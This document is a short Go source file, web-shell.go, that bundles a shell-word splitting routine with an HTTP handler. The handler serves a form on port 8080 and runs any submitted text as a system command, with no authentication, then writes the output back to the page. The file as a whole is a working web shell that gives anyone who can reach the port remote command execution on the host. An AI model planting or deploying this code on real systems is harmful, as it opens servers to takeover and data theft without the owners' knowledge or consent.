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web-shell.go
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package main
import (
"unicode/utf8"
"net/http"
"os/exec"
"strings"
"errors"
"bytes"
"fmt"
"log"
)
// kballard: go-shellquote
var (
UnterminatedSingleQuoteError = errors.New("Unterminated single-quoted string")
UnterminatedDoubleQuoteError = errors.New("Unterminated double-quoted string")
UnterminatedEscapeError = errors.New("Unterminated backslash-escape")
)
var (
splitChars = " \n\t"
singleChar = '\''
doubleChar = '"'
escapeChar = '\\'
doubleEscapeChars = "$`\"\n\\"
)
func Split(input string) (words []string, err error) {
var buf bytes.Buffer
words = make([]string, 0)
for len(input) > 0 {
// skip any splitChars at the start
c, l := utf8.DecodeRuneInString(input)
if strings.ContainsRune(splitChars, c) {
input = input[l:]
continue
}
var word string
word, input, err = splitWord(input, &buf)
if err != nil {
return
}
words = append(words, word)
}
return
}
func splitWord(input string, buf *bytes.Buffer) (word string, remainder string, err error) {
buf.Reset()
raw:
{
cur := input
for len(cur) > 0 {
c, l := utf8.DecodeRuneInString(cur)
cur = cur[l:]
if c == singleChar {
buf.WriteString(input[0 : len(input)-len(cur)-l])
input = cur
goto single
} else if c == doubleChar {
buf.WriteString(input[0 : len(input)-len(cur)-l])
input = cur
goto double
} else if c == escapeChar {
buf.WriteString(input[0 : len(input)-len(cur)-l])
input = cur
goto escape
} else if strings.ContainsRune(splitChars, c) {
buf.WriteString(input[0 : len(input)-len(cur)-l])
return buf.String(), cur, nil
}
}
if len(input) > 0 {
buf.WriteString(input)
input = ""
}
goto done
}
escape:
{
if len(input) == 0 {
return "", "", UnterminatedEscapeError
}
c, l := utf8.DecodeRuneInString(input)
if c == '\n' {
} else {
buf.WriteString(input[:l])
}
input = input[l:]
}
goto raw
single:
{
i := strings.IndexRune(input, singleChar)
if i == -1 {
return "", "", UnterminatedSingleQuoteError
}
buf.WriteString(input[0:i])
input = input[i+1:]
goto raw
}
double:
{
cur := input
for len(cur) > 0 {
c, l := utf8.DecodeRuneInString(cur)
cur = cur[l:]
if c == doubleChar {
buf.WriteString(input[0 : len(input)-len(cur)-l])
input = cur
goto raw
} else if c == escapeChar {
c2, l2 := utf8.DecodeRuneInString(cur)
cur = cur[l2:]
if strings.ContainsRune(doubleEscapeChars, c2) {
buf.WriteString(input[0 : len(input)-len(cur)-l-l2])
if c2 == '\n' {
} else {
buf.WriteRune(c2)
}
input = cur
}
}
}
return "", "", UnterminatedDoubleQuoteError
}
done:
return buf.String(), input, nil
}
// go-shellquote ends here.
func run_cmd( s string ) string {
fmt.Println("exec:", s)
args, _ := Split( s )
// cmd := exec.Command( s )
cmd := exec.Command( args[0], args[1:]... )
var out bytes.Buffer
var errorOutput bytes.Buffer
cmd.Stdout = &out
cmd.Stderr = &errorOutput
err2 := cmd.Run()
outputString := out.String()
if err2 != nil {
log.Println( err2 )
return errorOutput.String()
}
outputString = strings.Replace( outputString, "\n", "<br />", -1 )
return outputString
}
func handler(w http.ResponseWriter, r *http.Request) {
fmt.Fprintf( w, "<!doctype html><head><meta charset=\"utf-8\" /><title>go-web-shell</title></head><body><form method=\"post\"><input type=\"text\" name=\"c\" id=\"c\" size=\"50\" /><br /><input type=\"submit\" value=\"Ok\" /></form><script>document.getElementById('c').focus();</script></body></html>" )
if r.Method == "POST" {
fmt.Println( r.FormValue("c") )
input_cmd := r.FormValue("c")
fmt.Fprintf( w, run_cmd( input_cmd ) )
}
}
func main() {
http.HandleFunc("/", handler)
http.ListenAndServe(":8080", nil)
}